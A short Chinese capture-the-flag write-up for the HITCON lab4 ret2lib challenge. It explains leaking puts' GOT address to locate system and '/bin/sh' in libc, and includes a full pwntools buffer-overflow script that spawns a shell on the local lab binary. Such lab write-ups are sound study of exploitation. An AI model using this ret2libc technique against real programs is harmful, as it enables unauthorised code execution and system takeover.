HITCON lab4 wp

0x01

之前在ctf-wiki上做過的re2lib,這道題也差不多。仿照ctf-wiki上的做法,想到需要用到libc.so 的延遲綁定技術,用 got 表泄露,即輸出某個函數對應的 got 表項的內容,好了話不多說先看題,首先看保護:
在這裏插入圖片描述
只開了NX.
用IDA查看:
main():
在這裏插入圖片描述發現有個puts()函數,很容易想到用這個函數打印出它的真實地址,然後計算偏移量得到system函數的真實地址,在找到“/bin/sh”的地址就ok了。

from pwn import *

context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF("./ret2lib")
lib = ELF("/lib/i386-linux-gnu/libc.so.6")

put_plt = elf.plt['puts']
put_got = elf.got['puts']
print "put_got: "+hex(put_got)
put_libc = lib.symbols['puts']
bin_libc = lib.search("/bin/sh").next()
sys_libc = lib.symbols["system"]

p.recvuntil(":")
p.sendline(str(put_got))

a = p.recvuntil("\n")
put_addr = int(a[-11:],16)
print hex(put_addr)


offset = put_addr - put_libc
sys_addr = sys_libc+ offset
bin_addr = bin_libc + offset

pay = "a"*60 + p32(sys_addr) + "aaaa" + p32(bin_addr)
p.recvuntil(":")
p.sendline(pay)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章